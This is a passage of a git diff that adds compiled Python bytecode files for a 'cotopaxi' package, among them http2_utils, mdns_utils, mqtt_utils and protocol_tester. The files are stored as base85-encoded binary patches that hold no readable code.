zj3?_&cwz2M_;_>&slHXD`muLQKxiBOossaX{1l1?3IkJ^N=8ab8riI&OL?kgOetj$ zX*@nQIW{Tfh(V2{k&)7hu4XiSCiawBn0U$ojq+AFM>L(v^O#HRsgyY5Rc>sXN3CsD4OW&XY$D1NFPOIcvaIPEm1U@dXyQ!DWagxo zBYkNji~DqJDqjD&z#&907Y8c$7n=hsTlyWf~sD0 zD)MO2Hu(mA_q%?l@|ld(qZ?Fuz3YXGa1=eyVtDzIyaOvcb9o+3C4@`G31-mK*sLwhoA`?#46bjV!s>&D9 zLBAGYNqxuOM4ze4JavH!g_BGMS)zU4F}pqfVfT8Fh_v@VPF z_KV_S`wyYxm&Gqd-S7M^a0_Trc!(A_HNX(2Fg2FO$vGEKOibprB$kwUMawADT1Ep1 zm|l`htg8UZl8vwXz$pPzOACrdnSen#!Di0TO&psbthO(?V4>+APGW5yt2NO>}(5)GS{U{XR@i&zbg4VlG2 zM8*+k4NbSarjeY(6z&u)3xGu}4<^JQQIFL?;aZV%3Q@AA)c_}a0nD2D47E7f@@cxP zDpVooz?8{$kl1i=LCir?3XSz=1z3Yj_g^5+>1eAWE)dyiKC|{-l@A4CyDhC70~=pd z&R;IKT`sp=skB_FqCmLYCTrYo>$&e|Hs^l(pxl0~(tfSndcD$mea*Mi+*(Dx#_rwI z9XpY(oygli1ilNDx`uv_{4w zv7FIN*5!qsx`Mt&^A4-?0m8RD%G)3~5#?B$!nMgR3R$*-vYa*4e1^?Kvix~o$?Qvf zvaA|OS+?&(D`ZlIYRN37X+tHAV4XBG(#c3SBlXZt7<|}-X_(&uS*iW)h}|WzyDIXY z&MK-AKk_zJdEOIYyvQ>FUROVL7_MlTiH2Vh4Obmeqo<{cTvC%W#>IWBAm=?TH4)5h zhE1INlzAKtkRIlE8xSkxd@DL%2KIq<&T%kJ>HhbE{S`vk7l9LSeG*>!KXj6Nm0SW9 z_9b9`1q8a0JE*f%|G=H?iE~u}aiMCkhl5CtlC_a% LjQji;ksa=TtgYjC literal 0 HcmV?d00001 diff --git a/cotopaxi/__pycache__/http2_utils.cpython-311.pyc b/cotopaxi/__pycache__/http2_utils.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..f8de4f42df63b9d3779b915615cd4a1cd697ff5b GIT binary patch literal 4398 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 V7{Fq0p5NcMW2#>Kmj)(C{{hOxtKt9v literal 0 HcmV?d00001 diff --git a/cotopaxi/__pycache__/mdns_utils.cpython-311.pyc b/cotopaxi/__pycache__/mdns_utils.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..75e3bd9513cbfe072034a8d9c35d7e18be00e8df GIT binary patch literal 12173 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 literal 0 HcmV?d00001 diff --git a/cotopaxi/__pycache__/mqtt_utils.cpython-311.pyc b/cotopaxi/__pycache__/mqtt_utils.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..c322c8dd43da9ac078b04e679426e0c05f4bdfce GIT binary patch literal 4437 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 Ok}nARn^(xJ<^K;j(@0?e literal 0 HcmV?d00001 diff --git a/cotopaxi/__pycache__/protocol_tester.cpython-311.pyc b/cotopaxi/__pycache__/protocol_tester.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..2036b648d4ba6140734eedaf7a4a9ea3095b086c GIT binary patch literal 7842 zcmd5BU2hy$_0E2I?OlIl*B?zn;&C8pHg4Bx+N1)Sl*H672rLsD9t?Cep1H24>{sv1 zntBuo3t7k#FMdIZ`eX?y#R?DQg%|$B21UYJQ4|UB&^JdeFMfe@?(EFYr!(7#kFkCB z?m73Kd(J)ge2qUD92_9<t6WIBVRJs8|4Dp?__pe8E9iU6Owza;6Ex}i(bK2bU%@()|!BU3=tDFKzqNUEiF!_i4zO@ozPWk8j;XnA!G|9Nd_FLH2(W_z>@Z-5 z0@xA24hOKO06P-E765xHfGq;H5WtQCwiv*UsiR=j@%GSS$Ck_7l;-qZ+F(?tHA6PE zdQGgaiE@Lj;26z%lmP&@SpfD4^Q*Ir$_5o_wP9?E-o3>7>IYOY$_uOymh21d zluj#aIx-TEZ_cdOt8}JD>rG`{TbF0v*9_fguC2`|aQ7PWM_PAaUq`8P9UGhNtR!hQ z&5$H>!nzrdBG=a$efF?_^2Pi7CFq2k+Gd7L#7`0 z3YYvUFz1r5H7gbIa;g&wQf9DJO{Y;p4@3Cm6Ktu^2c-7U zZ}lkl@jG{^(PTAonKh}X!R2w?5a+~o5e{raQ>fIyLtlg2!sj(QCs>{fb%Kd51If+6 zyyR0NV%{t&Q?zX`rzBu#KbReOhPVoY`{bU$h7F8VoktZO!na2bMj-cyp1|5eO+qe7 znJ+I=26|L&&BO@J%yUbI%(&OvszVTVLcqdYNoc1VOsg4CvE(pkprz!h-p)ZN{<#G9 zgIJ=Y=%Q!^>lAKf7JX-c$ai6u{we?-z48->MCgD0v;3)6;kC#4YftjmTKQ`S!)Flv z(m`=z_l<+$(fA>IKAx%9KoH8fO18#vjD6Z=L@x{TvQO2>nLhy4y9N)h2!>z|*qbmY z@W7f_O(xB&ZfjB|dIbo%ux(-$3MGMI4z%h7%RD*PV)KkobQkSMxNaPP%UI(F#j#y5 zQ89k3yB*IeaF6OurqB>w!kzD|>y+)qQbp4ZynI)DYMn6mr=X$BCT<^eDuV*d;WkNu zAG+-_ZQI3`KI8kLwgFYRBG+oY*y)VRaV#E^&BHAD?ql>+y+^H%7vfoJqgjDM zTVB;F8uUw;n|jf$Tk`6XhZFCN(Bo#JH4I(w5$I``y4h~Gu}~7`pm~HY3)>b+Y7aA^$d zfGo)r4iky=7~;mBCE@G#Pb`E@nnu#Ji!^;`lL|;GxJU(uG>W8A7ishbNs$s}PYx7hIP`FLWN1~r9%)Wly$yfyQnNa}Rh;J3uVqh>ksbd_ 